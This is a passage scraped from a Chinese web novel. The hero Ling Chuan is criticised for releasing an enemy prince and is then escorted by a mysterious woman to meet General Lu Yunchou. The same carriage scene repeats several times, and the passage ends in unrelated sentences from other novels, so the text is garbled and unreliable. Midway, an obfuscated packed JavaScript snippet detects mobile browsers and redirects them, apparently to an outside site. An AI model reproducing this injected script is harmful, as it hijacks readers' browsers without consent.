性质可就完全不一样了。 “放了?”卢恽筹脸色顿时一变。 “凌川,你私自放走敌方主将,而且,还是耶律王族的嫡系成员,你莫不是要通敌?”刚才那名行军参事厉声问道。 凌川看都没看他一眼,而是对着卢恽筹再次抱拳道: “启禀大将军,此事另有隐情,我之前不便在信中禀明,回头定当面禀明其中缘由!” “你最好给我一个合理的解释!”卢恽筹强压着心中的怒火说道。 半个时辰后,宴会散去。 不少原本想来与凌川套近乎的人,也都对他避而远之,毕竟,现在还不知道凌川会不会因为私自放走耶律蓝图之事受罚。 但,还是有不少人与他走在一起,杨烬旗、薛镇锷、张嶷岳、催行俭以及陈暻垚等人先后来到他身边。 “我说兄弟,你怎么犯这种糊涂啊,先不说耶律蓝图本身就是一笔不菲战功,你放走他这不是授人以柄吗?”张嶷岳痛心疾首地说道。 “我不相信你会做出通敌之事,但这件事情若处理不好的话,有人怕是不会善罢甘休!”薛镇锷小声说道,话中所指不言而喻。 他与章绩之间的恩怨,在北系军将领中,已经不是什么秘密,只是很多人并不知道其中细节。 凌川点了点头,说道:“承蒙诸位关照,让大家操心了,不过大家不用担心,这事我自己能解决!” 走出节度府,众人相继散去,毕竟他们住在不同的地方,若是走得太近,难免被有心人借题发挥,给扣一顶结党营私的大帽子。 凌川独自朝着庆丰楼走去,此时已经是晚上,零星灯火将他的影子拉得老长。 当初在武定关放走耶律蓝图的时候,唐岿然便提醒过他,不过,凌川还是决定放他走,倒不是惺惺相惜,而是另有打算。 今日被人以此为把柄,公然发难,也都在凌川的预料之中。 原本,凌川已经想好了对策,可今日卢恽筹的那番话,让凌川有些动摇,到底要不要和盘托出。 第189章 公子留步! 路过街道的一处拐角,凌川发现路边停放着一辆马车。 尽管车内一片黑暗,不过直觉告诉他,车里有人。 这不由让他想起了当初,也是在这条街道上遇到了章绩的马车。 凌川径直从马车旁边走过,忽然闻到一股淡淡的胭脂味,其中还夹杂着一缕独特的香味,宛如少女闺房中独有的味道。 路过马车之时,凌川注意到,一名神色冷漠的男子坐在马车前端,那双眼神中透着道道寒意。 “公子留步!”就在此时,马车之中传来一道温柔且富有磁性的声音。 凌川一愣,停下脚步看向微微晃动的车帘,问道:“你在叫我?” 车内传来一道微不可察的笑声,“这里除了公子,并无其他人!” 从声音上判断,对方是一名年轻女子,虽看不到容貌,不过声音却是非常好听。 “姑娘在此等我,所为何事?”凌川好奇问道。 “想带公子去个地方!” “去哪儿?” “公子去了就知道了!”女子说道。 凌川嘴角勾起一抹笑意,说道:“实在抱歉,我娘子管得严,不让我去那些地方!” 凌川想起第一次来飞龙城,便看到明月楼的‘壮阔’场景,再联想到前世夜晚出没于小巷子,那些穿着暴露的女子揽客的场景。 “噗嗤……”车内女子嗤笑一声,随即说道:“公子误会了,奴家可不是你想象中的那些风尘女子!” 紧接着,女子继续说道:“是我家主子要见公子,请上车吧!” “你家主子是何人?” “这个奴家不便透露,公子去了,自然就知道了!”女子回答道。 “我可以拒绝吗?”凌川笑问道。 “奴家是奉命来请公子去做客的,公子自然可以拒绝!”女子顿了顿,继续说道:“不过,奴家提醒一句,公子若是不去,到头来可别后悔!” 这句话,顿时激起了凌川的好奇心。 只见他轻轻一跃便来到马车之上,单手撩开帘子便钻了进去。 从始至终,那神色冷漠的车夫都没有半点动作。 直到凌川进入马车,他才轻扬马鞭,马车缓缓启动。 凌川借助昏暗的光线,看到一名女子坐在车厢右侧,他便主动来到左侧坐下,马车之中香味更为浓郁,但却一点也不刺鼻,凌川转过目光,隐约能看到一张侧脸的轮廓。 被凌川这么盯着,那女子显得有些不自在,轻咳一声说道 :“公子为何这般盯着人家?” 凌川这才收回目光,尴尬笑道:“我这人对于美的事物天生没有抵抗力,姑娘勿怪!” “这黑灯瞎火的,公子怎知奴家不是满脸麻子的丑八怪?”女子的语气中也带着几分好奇,问道。 “猜的!” “哦?奴家倒是想听听,公子是如何猜的。”女子继续追问。 “秘密!”凌川神秘一笑,没做回答。 那女子见状,也没有继续追问,车厢顿时陷入了安静之中。 那女子依旧端坐,反倒是凌川变得紧张起来,他甚至能听到自己的心跳声。 平心而论,凌川心中没有任何杂念,但与一个陌生女子如此近距离相处,他不免有些紧张。 不多时,车外传来一道冷漠的声音:“夫人,到了!” 凌川神色顿时一变,本以为对方还是一名少女,没想到竟是有夫之妇,早知如此,自己就不该进这车厢里来。 虽说自己并无邪念,但若是坏了人家的名声,罪过可就大了。 “公子,请吧!” 凌川快速撩开帘子钻了出来,发现,马车已然来到一座院子中,偌大的院子灯火通明,房子也十分气派,这在北疆可不多见。 就在此时,那女子也从车内钻了出来,凌川这才看清她的长相。 她约莫双十年华,脸如鹅蛋般柔美圆润,眉如远山含黛,眸似秋水盈盈,眼波流转间,自有一股勾人心魄的妩媚,唇若点朱,不笑时亦含三分春意。 无论是谁见到这般容颜,也都会为之惊叹,凌川也不例外。 不过,凌川只是出于本能的赞叹,而无半点邪念,因为,他早就认定,苏璃是自己要相守一辈子的女人,尽管这个时代三妻四妾再正常不过,可凌川只想与自己真正相爱的人相守到老。 他不会忘记自己与苏璃在狼烽口的小屋相依为命的日子,也不会忘记每次自己出征,苏璃眼底写满的担忧。 那段时光,他们做彼此的光,也成了彼此的唯一。 凌川并非什么圣人,只是不想负了自己爱的人和爱自己的人。 “公子里面请!”女子对他做了一个请的手势。 “烦请夫人带路!” 女子闻言,顿时掩嘴而笑,那笑容娇花映水,令人心旌摇曳。 凌川不知她为何发笑,也没有多问,只见那女子转身朝着不远处的一道门走去。 凌川跟着走了进去,不过始终与之保持着三步距离,同时,一边走,一边打量着周围的环境,来到这个陌生的地方,且不知对方的身份和目的,他不得不心存防备。 那女子身姿曼妙,步履轻盈,行止间如弱柳扶风,却又暗藏风情万种。 一袭轻纱罗裙,随风轻扬,更添几分飘逸与灵动。发间珠钗轻颤,随着她的动作微微摇曳,闪烁着迷人的光芒。 进入一条青石小道,两侧布满假山奇石,月光下亭台楼榭隐约可见。 不多时,前方出现一座僻静小院,谈不上巍峨,但却透着几分威严,门口两颗罗汉松修建得十分规整,宛如两尊擐甲门神,威武而霸气。 “公子里面请!”罗裙女子做了一个请的手势,然后推门而入。 门中大堂,灯火通明,一道魁梧身影端坐主位,虽年过半百却精神矍铄,眉宇间虎威隐现,大有气吞山河之势。 在来的路上,凌川想过是谁要见自己,他想过会是陆含章、也想过薛镇锷与杨烬旗、甚至想过章绩,唯独没想过会是卢恽筹。 不过现在回想,这一切虽在意料之外,但也在情理之中。 只是凌川没想到,卢恽筹竟然藏了一位如此美貌的金丝雀,还好自己之前没有做出过分的举动,否则,自己连**的都不知道。 :“公子为何这般盯着人家?” 凌川这才收回目光,尴尬笑道:“我这人对于美的事物天生没有抵抗力,姑娘勿怪!” “这黑灯瞎火的,公子怎知奴家不是满脸麻子的丑八怪?”女子的语气中也带着几分好奇,问道。 “猜的!” “哦?奴家倒是想听听,公子是如何猜的。”女子继续追问。 “秘密!”凌川神秘一笑,没做回答。 那女子见状,也没有继续追问,车厢顿时陷入了安静之中。 那女子依旧端坐,反倒是凌川变得紧张起来,他甚至能听到自己的心跳声。 平心而论,凌川心中没有任何杂念,但与一个陌生女子如此近距离相处,他不免有些紧张。 不多时,车外传来一道冷漠的声音:“夫人,到了!” 凌川神色顿时一变,本以为对方还是一名少女,没想到竟是有夫之妇,早知如此,自己就不该进这车厢里来。 虽说自己并无邪念,但若是坏了人家的名声,罪过可就大了。 “公子,请吧!” 凌川快速撩开帘子钻了出来,发现,马车已然来到一座院子中,偌大的院子灯火通明,房子也十分气派,这在北疆可不多见。 就在此时,那女子也从车内钻了出来,凌川这才看清她的长相。 她约莫双十年华,脸如鹅蛋般柔美圆润,眉如远山含黛,眸似秋水盈盈,眼波流转间,自有一股勾人心魄的妩媚,唇若点朱,不笑时亦含三分春意。 无论是谁见到这般容颜,也都会为之惊叹,凌川也不例外。 不过,凌川只是出于本能的赞叹,而无半点邪念,因为,他早就认定,苏璃是自己要相守一辈子的女人,尽管这个时代三妻四妾再正常不过,可凌川只想与自己真正相爱的人相守到老。 他不会忘记自己与苏璃在狼烽口的小屋相依为命的日子,也不会忘记每次自己出征,苏璃眼底写满的担忧。 那段时光,他们做彼此的光,也成了彼此的唯一。 凌川并非什么圣人,只是不想负了自己爱的人和爱自己的人。 “公子里面请!”女子对他做了一个请的手势。 “烦请夫人带路!” 女子闻言,顿时掩嘴而笑,那笑容娇花映水,令人心旌摇曳。 凌川不知她为何发笑,也没有多问,只见那女子转身朝着不远处的一道门走去。 凌川跟着走了进去,不过始终与之保持着三步距离,同时,一边走,一边打量着周围的环境,来到这个陌生的地方,且不知对方的身份和目的,他不得不心存防备。 那女子身姿曼妙,步履轻盈,行止间如弱柳扶风,却又暗藏风情万种。 一袭轻纱罗裙,随风轻扬,更添几分飘逸与灵动。发间珠钗轻颤,随着她的动作微微摇曳,闪烁着迷人的光芒。 进入一条青石小道,两侧布满假山奇石,月光下亭台楼榭隐约可见。 不多时,前方出现一座僻静小院,谈不上巍峨,但却透着几分威严,门口两颗罗汉松修建得十分规整,宛如两尊擐甲门神,威武而霸气。 “公子里面请!”罗裙女子做了一个请的手势,然后推门而入。 门中大堂,灯火通明,一道魁梧身影端坐主位,虽年过半百却精神矍铄,眉宇间虎威隐现,大有气吞山河之势。 在来的路上,凌川想过是谁要见自己,他想过会是陆含章、也想过薛镇锷与杨烬旗、甚至想过章绩,唯独没想过会是卢恽筹。 不过现在回想,这一切虽在意料之外,但也在情理之中。 只是凌川没想到,卢恽筹竟然藏了一位如此美貌的金丝雀,还好自己之前没有做出过分的举动,否则,自己连**的都不知道。 :“公子为何这般盯着人家?” 凌川这才收回目光,尴尬笑道:“我这人对于美的事物天生没有抵抗力,姑娘勿怪!” “这黑灯瞎火的,公子怎知奴家不是满脸麻子的丑八怪?”女子的语气中也带着几分好奇,问道。 “猜的!” “哦?奴家倒是想听听,公子是如何猜的。”女子继续追问。 “秘密!”凌川神秘一笑,没做回答。 那女子见状,也没有继续追问,车厢顿时陷入了安静之中。 那女子依旧端坐,反倒是凌川变得紧张起来,他甚至能听到自己的心跳声。 平心而论,凌川心中没有任何杂念,但与一个陌生女子如此近距离相处,他不免有些紧张。 不多时,车外传来一道冷漠的声音:“夫人,到了!” 凌川神色顿时一变,本以为对方还是一名少女,没想到竟是有夫之妇,早知如此,自己就不该进这车厢里来。 虽说自己并无邪念,但若是坏了人家的名声,罪过可就大了。 “公子,请吧!” 凌川快速撩开帘子钻了出来,发现,马车已然来到一座院子中,偌大的院子灯火通明,房子也十分气派,这在北疆可不多见。 就在此时,那女子也从车内钻了出来,凌川这才看清她的长相。 她约莫双十年华,脸如鹅蛋般柔美圆润,眉如远山含黛,眸似秋水盈盈,眼波流转间,自有一股勾人心魄的妩媚,唇若点朱,不笑时亦含三分春意。 无论是谁见到这般容颜,也都会为之惊叹,凌川也不例外。 不过,凌川只是出于本能的赞叹,而无半点邪念,因为,他早就认定,苏璃是自己要相守一辈子的女人,尽管这个时代三妻四妾再正常不过,可凌川只想与自己真正相爱的人相守到老。 他不会忘记自己与苏璃在狼烽口的小屋相依为命的日子,也不会忘记每次自己出征,苏璃眼底写满的担忧。 那段时光,他们做彼此的光,也成了彼此的唯一。 凌川并非什么圣人,只是不想负了自己爱的人和爱自己的人。 “公子里面请!”女子对他做了一个请的手势。 “烦请夫人带路!” 女子闻言,顿时掩嘴而笑,那笑容娇花映水,令人心旌摇曳。 凌川不知她为何发笑,也没有多问,只见那女子转身朝着不远处的一道门走去。 凌川跟着走了进去,不过始终与之保持着三步距离,同时,一边走,一边打量着周围的环境,来到这个陌生的地方,且不知对方的身份和目的,他不得不心存防备。 那女子身姿曼妙,步履轻盈,行止间如弱柳扶风,却又暗藏风情万种。 一袭轻纱罗裙,随风轻扬,更添几分飘逸与灵动。发间珠钗轻颤,随着她的动作微微摇曳,闪烁着迷人的光芒。 进入一条青石小道,两侧布满假山奇石,月光下亭台楼榭隐约可见。 不多时,前方出现一座僻静小院,谈不上巍峨,但却透着几分威严,门口两颗罗汉松修建得十分规整,宛如两尊擐甲门神,威武而霸气。 “公子里面请!”罗裙女子做了一个请的手势,然后推门而入。 门中大堂,灯火通明,一道魁梧身影端坐主位,虽年过半百却精神矍铄,眉宇间虎威隐现,大有气吞山河之势。 在来的路上,凌川想过是谁要见自己,他想过会是陆含章、也想过薛镇锷与杨烬旗、甚至想过章绩,唯独没想过会是卢恽筹。 不过现在回想,这一切虽在意料之外,但也在情理之中。 只是凌川没想到,卢恽筹竟然藏了一位如此美貌的金丝雀,还好自己之前没有做出过分的举动,否则,自己连**的都不知道。 :“公子为何这般盯着人家?” 凌川这才收回目光,尴尬笑道:“我这人对于美的事物天生没有抵抗力,姑娘勿怪!” “这黑灯瞎火的,公子怎知奴家不是满脸麻子的丑八怪?”女子的语气中也带着几分好奇,问道。 “猜的!” “哦?奴家倒是想听听,公子是如何猜的。”女子继续追问。 “秘密!”凌川神秘一笑,没做回答。 那女子见状,也没有继续追问,车厢顿时陷入了安静之中。 那女子依旧端坐,反倒是凌川变得紧张起来,他甚至能听到自己的心跳声。 平心而论,凌川心中没有任何杂念,但与一个陌生女子如此近距离相处,他不免有些紧张。 不多时,车外传来一道冷漠的声音:“夫人,到了!” 凌川神色顿时一变,本以为对方还是一名少女,没想到竟是有夫之妇,早知如此,自己就不该进这车厢里来。 虽说自己并无邪念,但若是坏了人家的名声,罪过可就大了。 “公子,请吧!” 凌川快速撩开帘子钻了出来,发现,马车已然来到一座院子中,偌大的院子灯火通明,房子也十分气派,这在北疆可不多见。 就在此时,那女子也从车内钻了出来,凌川这才看清她的长相。 她约莫双十年华,脸如鹅蛋般柔美圆润,眉如远山含黛,眸似秋水盈盈,眼波流转间,自有一股勾人心魄的妩媚,唇若点朱,不笑时亦含三分春意。 无论是谁见到这般容颜,也都会为之惊叹,凌川也不例外。 不过,凌川只是出于本能的赞叹,而无半点邪念,因为,他早就认定,苏璃是自己要相守一辈子的女人,尽管这个时代三妻四妾再正常不过,可凌川只想与自己真正相爱的人相守到老。 他不会忘记自己与苏璃在狼烽口的小屋相依为命的日子,也不会忘记每次自己出征,苏璃眼底写满的担忧。 那段时光,他们做彼此的光,也成了彼此的唯一。 凌川并非什么圣人,只是不想负了自己爱的人和爱自己的人。 “公子里面请!”女子对他做了一个请的手势。 “烦请夫人带路!” 女子闻言,顿时掩嘴而笑,那笑容娇花映水,令人心旌摇曳。 凌川不知她为何发笑,也没有多问,只见那女子转身朝着不远处的一道门走去。 凌川跟着走了进去,不过始终与之保持着三步距离,同时,一边走,一边打量着周围的环境,来到这个陌生的地方,且不知对方的身份和目的,他不得不心存防备。 那女子身姿曼妙,步履轻盈,行止间如弱柳扶风,却又暗藏风情万种。 一袭轻纱罗裙,随风轻扬,更添几分飘逸与灵动。发间珠钗轻颤,随着她的动作微微摇曳,闪烁着迷人的光芒。 进入一条青石小道,两侧布满假山奇石,月光下亭台楼榭隐约可见。 不多时,前方出现一座僻静小院,谈不上巍峨,但却透着几分威严,门口两颗罗汉松修建得十分规整,宛如两尊擐甲门神,威武而霸气。 “公子里面请!”罗裙女子做了一个请的手势,然后推门而入。 门中大堂,灯火通明,一道魁梧身影端坐主位,虽年过半百却精神矍铄,眉宇间虎威隐现,大有气吞山河之势。 在来的路上,凌川想过是谁要见自己,他想过会是陆含章、也想过薛镇锷与杨烬旗、甚至想过章绩,唯独没想过会是卢恽筹。 不过现在回想,这一切虽在意料之外,但也在情理之中。 只是凌川没想到,卢恽筹竟然藏了一位如此美貌的金丝雀,还好自己之前没有做出过分的举动,否则,自己连**的都不知道。 :“公子为何这般盯着人家?” 凌川这才收回目光,尴尬笑道:“我这人对于美的事物天生没有抵抗力,姑娘勿怪!” “这黑灯瞎火的,公子怎知奴家不是满脸麻子的丑八怪?”女子的语气中也带着几分好奇,问道。 “猜的!” “哦?奴家倒是想听听,公子是如何猜的。”女子继续追问。 “秘密!”凌川神秘一笑,没做回答。 那女子见状,也没有继续追问,车厢顿时陷入了安静之中。 那女子依旧端坐,反倒是凌川变得紧张起来,他甚至能听到自己的心跳声。 平心而论,凌川心中没有任何杂念,但与一个陌生女子如此近距离相处,他不免有些紧张。 不多时,车外传来一道冷漠的声音:“夫人,到了!” 凌川神色顿时一变,本以为对方还是一名少女,没想到竟是有夫之妇,早知如此,自己就不该进这车厢里来。 虽说自己并无邪念,但若是坏了人家的名声,罪过可就大了。 “公子,请吧!” 凌川快速撩开帘子钻了出来,发现,马车已然来到一座院子中,偌大的院子灯火通明,房子也十分气派,这在北疆可不多见。 就在此时,那女子也从车内钻了出来,凌川这才看清她的长相。 她约莫双十年华,脸如鹅蛋般柔美圆润,眉如远山含黛,眸似秋水盈盈,眼波流转间,自有一股勾人心魄的妩媚,唇若点朱,不笑时亦含三分春意。 无论是谁见到这般容颜,也都会为之惊叹,凌川也不例外。 不过,凌川只是出于本能的赞叹,而无半点邪念,因为,他早就认定,苏璃是自己要相守一辈子的女人,尽管这个时代三妻四妾再正常不过,可凌川只想与自己真正相爱的人相守到老。 他不会忘记自己与苏璃在狼烽口的小屋相依为命的日子,也不会忘记每次自己出征,苏璃眼底写满的担忧。 那段时光,他们做彼此的光,也成了彼此的唯一。 凌川并非什么圣人,只是不想负了自己爱的人和爱自己的人。 “公子里面请!”女子对他做了一个请的手势。 “烦请夫人带路!” 女子闻言,顿时掩嘴而笑,那笑容娇花映水,令人心旌摇曳。 凌川不知她为何发笑,也没有多问,只见那女子转身朝着不远处的一道门走去。 凌川跟着走了进去,不过始终与之保持着三步距离,同时,一边走,一边打量着周围的环境,来到这个陌生的地方,且不知对方的身份和目的,他不得不心存防备。 那女子身姿曼妙,步履轻盈,行止间如弱柳扶风,却又暗藏风情万种。 一袭轻纱罗裙,随风轻扬,更添几分飘逸与灵动。发间珠钗轻颤,随着她的动作微微摇曳,闪烁着迷人的光芒。 进入一条青石小道,两侧布满假山奇石,月光下亭台楼榭隐约可见。 不多时,前方出现一座僻静小院,谈不上巍峨,但却透着几分威严,门口两颗罗汉松修建得十分规整,宛如两尊擐甲门神,威武而霸气。 “公子里面请!”罗裙女子做了一个请的手势,然后推门而入。 门中大堂,灯火通明,一道魁梧身影端坐主位,虽年过半百却精神矍铄,眉宇间虎威隐现,大有气吞山河之势。 在来的路上,凌川想过是谁要见自己,他想过会是陆含章、也想过薛镇锷与杨烬旗、甚至想过章绩,唯独没想过会是卢恽筹。 不过现在回想,这一切虽在意料之外,但也在情理之中。 只是凌川没想到,卢恽筹竟然藏了一位如此美貌的金丝雀,还好自己之前没有做出过分的举动,否则,自己连**的都不知道。 :“公子为何这般盯着人家?” 凌川这才收回目光,尴尬笑道:“我这人对于美的事物天生没有抵抗力,姑娘勿怪!” “这黑灯瞎火的,公子怎知奴家不是满脸麻子的丑八怪?”女子的语气中也带着几分好奇,问道。 “猜的!” “哦?奴家倒是想听听,公子是如何猜的。”女子继续 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16057668|177490||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 追问。 “秘密!”凌川神秘一笑,没做回答。 那女子见状,也没有继续追问,车厢顿时陷入了安静之中。 那女子依旧端坐,反倒是凌川变得紧张起来,他甚至能听到自己的心跳声。 平心而论,凌川心中没有任何杂念,但与一个陌生女子如此近距离相处,他不免有些紧张。 不多时,车外传来一道冷漠的声音:“夫人,到了!” 凌川神色顿时一变,本以为对方还是一名少女,没想到竟是有夫之妇,早知如此,自己就不该进这车厢里来。 虽说自己并无邪念,但若是坏了人家的名声,罪过可就大了。 “公子,请吧!” 凌川快速撩开帘子钻了出来,发现,马车已然来到一座院子中,偌大的院子灯火通明,房子也十分气派,这在北疆可不多见。 就在此时,那女子也从车内钻了出来,凌川这才看清她的长相。 她约莫双十年华,脸如鹅蛋般柔美圆润,眉如远山含黛,眸似秋水盈盈,眼波流转间,自有一股勾人心魄的妩媚,唇若点朱,不笑时亦含三分春意。 无论是谁见到这般容颜,也都会为之惊叹,凌川也不例外。 不过,凌川只是出于本能的赞叹,而无半点邪念,因为,他早就认定,苏璃是自己要相守一辈子的女人,尽管这个时代三妻四妾再正常不过,可凌川只想与自己真正相爱的人相守到老。 他不会忘记自己与苏璃在狼烽口的小屋相依为命的日子,也不会忘记每次自己出征,苏璃眼底写满的担忧。 那段时光,他们做彼此的光,也成了彼此的唯一。 凌川并非什么圣人,只是不想负了自己爱的人和爱自己的人。 “公子里面请!”女子对他做了一个请的手势。 “烦请夫人带路!” 女子闻言,顿时掩嘴而笑,那笑容娇花映水,令人心旌摇曳。 凌川不知她为何发笑,也没有多问,只见那女子转身朝着不远处的一道门走去。 凌川跟着走了进去,不过始终与之保持着三步距离,同时,一边走,一边打量着周围的环境,来到这个陌生的地方,且不知对方的身份和目的,他不得不心存防备。 那女子身姿曼妙,步履轻盈,行止间如弱柳扶风,却又暗藏风情万种。 一袭轻纱罗裙,随风轻扬,更添几分飘逸与灵动。发间珠钗轻颤,随着她的动作微微摇曳,闪烁着迷人的光芒。 进入一条青石小道,两侧布满假山奇石,月光下亭台楼榭隐约可见。 不多时,前方出现一座僻静小院,谈不上巍峨,但却透着几分威严,门口两颗罗汉松修建得十分规整,宛如两尊擐甲门神,威武而霸气。 “公子里面请!”罗裙女子做了一个请的手势,然后推门而入。 门中大堂,灯火通明,一道魁梧身影端坐主位,虽年过半百却精神矍铄,眉宇间虎威隐现,大有气吞山河之势。 在来的路上,凌川想过是谁要见自己,他想过会是陆含章、也想过薛镇锷与杨烬旗、甚至想过章绩,唯独没想过会是卢恽筹。 不过现在回想,这一切虽在意料之外,但也在情理之中。 只是凌川没想到,卢恽筹竟然藏了一位如此美貌的金丝雀,还好自己之前没有做出过分的举动,否则,自己连**的都不知道。 :“公子为何这般盯着人家?” 凌川这才收回目光,尴尬笑道:“我这人对于美的事物天生没有抵抗力,姑娘勿怪!” “这黑灯瞎火的,公子怎知奴家不是满脸麻子的丑八怪?”女子的语气中也带着几分好奇,问道。 “猜的!” “哦?奴家倒是想听听,公子是如何猜的。”女子继续追问。 “秘密!”凌川神秘一笑,没做回答。 那女子见状,也没有继续追问,车厢顿时陷入了安静之中。 那女子依旧端坐,反倒是凌川变得紧张起来,他甚至能听到自己的心跳声。 平心而论,凌川心中没有任何杂念,但与一个陌生女子如此近距离相处,他不免有些紧张。 不多时,车外传来一道冷漠的声音:“夫人,到了!” 凌川神色顿时一变,本以为对方还是一名少女,没想到竟是有夫之妇,早知如此,自己就不该进这车厢里来。 虽说自己并无邪念,但若是坏了人家的名声,罪过可就大了。 “公子,请吧!” 凌川快速撩开帘子钻了出来,发现,马车已然来到一座院子中,偌大的院子灯火通明,房子也十分气派,这在北疆可不多见。 就在此时,那女子也从车内钻了出来,凌川这才看清她的长相。 她约莫双十年华,脸如鹅蛋般柔美圆润,眉如远山含黛,眸似秋水盈盈,眼波流转间,自有一股勾人心魄的妩媚,唇若点朱,不笑时亦含三分春意。 无论是谁见到这般容颜,也都会为之惊叹,凌川也不例外。 不过,凌川只是出于本能的赞叹,而无半点邪念,因为,他早就认定,苏璃是自己要相守一辈子的女人,尽管这个时代三妻四妾再正常不过,可凌川只想与自己真正相爱的人相守到老。 他不会忘记自己与苏璃在狼烽口的小屋相依为命的日子,也不会忘记每次自己出征,苏璃眼底写满的担忧。 那段时光,他们做彼此的光,也成了彼此的唯一。 凌川并非什么圣人,只是不想负了自己爱的人和爱自己的人。 “公子里面请!”女子对他做了一个请的手势。 “烦请夫人带路!” 女子闻言,顿时掩嘴而笑,那笑容娇花映水,令人心旌摇曳。 凌川不知她为何发笑,也没有多问,只见那女子转身朝着不远处的一道门走去。 凌川跟着走了进去,不过始终与之保持着三步距离,同时,一边走,一边打量着周围的环境,来到这个陌生的地方,且不知对方的身份和目的,他不得不心存防备。 那女子身姿曼妙,步履轻盈,行止间如弱柳扶风,却又暗藏风情万种。 一袭轻纱罗裙,随风轻扬,更添几分飘逸与灵动。发间珠钗轻颤,随着她的动作微微摇曳,闪烁着迷人的光芒。 进入一条青石小道,两侧布满假山奇石,月光下亭台楼榭隐约可见。 不多时,前方出现一座僻静小院,谈不上巍峨,但却透着几分威严,门口两颗罗汉松修建得十分规整,宛如两尊擐甲门神,威武而霸气。 “公子里面请!”罗裙女子做了一个请的手势,然后推门而入。 门中大堂,灯火通明,一道魁梧身影端坐主位,虽年过半百却精神矍铄,眉宇间虎威隐现,大有气吞山河之势。 在来的路上,凌川想过是谁要见自己,他想过会是陆含章、也想过薛镇锷与杨烬旗、甚至想过章绩,唯独没想过会是卢恽筹。 不过现在回想,这一切虽在意料之外,但也在情理之中。 只是凌川没想到,卢恽筹竟然藏了一位如此美貌的金丝雀,还好自己之前没有做出过分的举动,否则,自己连**的都不知道。 :“公子为何这般盯着人家?” 凌川这才收回目光,尴尬笑道:“我这人对于美的事物天生没有抵抗力,姑娘勿怪!” “这黑灯瞎火的,公子怎知奴家不是满脸麻子的丑八怪?”女子的语气中也带着几分好奇,问道。 “猜的!” “哦?奴家倒是想听听,公子是如何猜的。”女子继续追问。 “秘密!”凌川神秘一笑,没做回答。 那女子见状,也没有继续追问,车厢顿时陷入了安静之中。 那女子依旧端坐,反倒是凌川变得紧张起来,他甚至能听到自己的心跳声。 平心而论,凌川心中没有任何杂念,但与一个陌生女子如此近距离相处,他不免有些紧张。 不多时,车外传来一道冷漠的声音:“夫人,到了!” 凌川神色顿时一变,本以为对方还是一名少女,没想到竟是有夫之妇,早知如此,自己就不该进这车厢里来。 虽说自己并无邪念,但若是坏了人家的名声,罪过可就大了。 “公子,请吧!” 凌川快速撩开帘子钻了出来,发现,马车已然来到一座院子中,偌大的院子灯火通明,房子也十分气派,这在北疆可不多见。 就在此时,那女子也从车内钻了出来,凌川这才看清她的长相。 她约莫双十年华,脸如鹅蛋般柔美圆润,眉如远山含黛,眸似秋水盈盈,眼波流转间,自有一股勾人心魄的妩媚,唇若点朱,不笑时亦含三分春意。 无论是谁见到这般容颜,也都会为之惊叹,凌川也不例外。 不过,凌川只是出于本能的赞叹,而无半点邪念,因为,他早就认定,苏璃是自己要相守一辈子的女人,尽管这个时代三妻四妾再正常不过,可凌川只想与自己真正相爱的人相守到老。 他不会忘记自己与苏璃在狼烽口的小屋相依为命的日子,也不会忘记每次自己出征,苏璃眼底写满的担忧。 那段时光,他们做彼此的光,也成了彼此的唯一。 凌川并非什么圣人,只是不想负了自己爱的人和爱自己的人。 “公子里面请!”女子对他做了一个请的手势。 “烦请夫人带路!” 女子闻言,顿时掩嘴而笑,那笑容娇花映水,令人心旌摇曳。 凌川不知她为何发笑,也没有多问,只见那女子转身朝着不远处的一道门走去。 凌川跟着走了进去,不过始终与之保持着三步距离,同时,一边走,一边打量着周围的环境,来到这个陌生的地方,且不知对方的身份和目的,他不得不心存防备。 那女子身姿曼妙,步履轻盈,行止间如弱柳扶风,却又暗藏风情万种。 一袭轻纱罗裙,随风轻扬,更添几分飘逸与灵动。发间珠钗轻颤,随着她的动作微微摇曳,闪烁着迷人的光芒。 进入一条青石小道,两侧布满假山奇石,月光下亭台楼榭隐约可见。 不多时,前方出现一座僻静小院,谈不上巍峨,但却透着几分威严,门口两颗罗汉松修建得十分规整,宛如两尊擐甲门神,威武而霸气。 “公子里面请!”罗裙女子做了一个请的手势,然后推门而入。 门中大堂,灯火通明,一道魁梧身影端坐主位,虽年过半百却精神矍铄,眉宇间虎威隐现,大有气吞山河之势。 在来的路上,凌川想过是谁要见自己,他想过会是陆含章、也想过薛镇锷与杨烬旗、甚至想过章绩,唯独没想过会是卢恽筹。 不过现在回想,这一切虽在意料之外,但也在情理之中。 只是凌川没想到,卢恽筹竟然藏了一位如此美貌的金丝雀,还好自己之前没有做出过分的举动,否则,自己连**的都不知道。 第一卷 第190章 方寸间演化乾坤! 我笑着听着他的解释,同时看着他正在做的那条半生不熟的鱼,我还忍不住上去指导一下。 叶楚额上起了一层薄薄的细汗,糟糕,陆淮认出了她的声音,他现在一定已经知道她的身份了。 五行迷阴阵是二阶上品阵法,只有筑基期以上的修为才能够布下。此阵可抵挡结丹初期修士,换而言之,只有结丹中期以上的修为才可强行破开。 待到了可以用的那日,薛庭儴亲自动手给炕上铺了一层席子,又在席子上铺了一层绒毡,再是铺上一层**不薄的褥子,上去试着滚了下,果然神仙来了都不换。 我也觉得我们两人很搞笑,大晚上的在这里偶然遇到,然后就互相吹捧,对于两个成年人来说,着实有些幼稚而滑稽。 平郡王有一点烦忧,景安帝却正是含饴弄孙,景安帝一向喜欢大阳。除了大阳很会说甜言蜜语讨人喜欢这一点外,主要也是大阳不在身边,并不能常见,故而,大阳一来京城,景安帝总会抽出些时间同大阳玩儿。 不久前,严曼曼对她父亲死缠烂打了好多天,才让她父亲给她买了一个庄园。她怎么能不好好显示一番? 想着这些的同时,薛庭儴不免想起一直没见动静的嘉成帝,难道说嘉成帝忘了他? 给阿云朵和塔尔玛的是一红一粉海棠花簪,四贞和建宁两人则各得了一副芙蓉花簪,簪花做得十分精美别致,加上宝石耀眼,映着光一看才发现那看上去同色的花瓣其实是七彩霞光。 钱仓一等人没有下手,虽然清楚地知道对方只是为了拖延时间,更准确的说是拖过这场大雨的时间,但他们依然没必要主动撕破这一层关系。 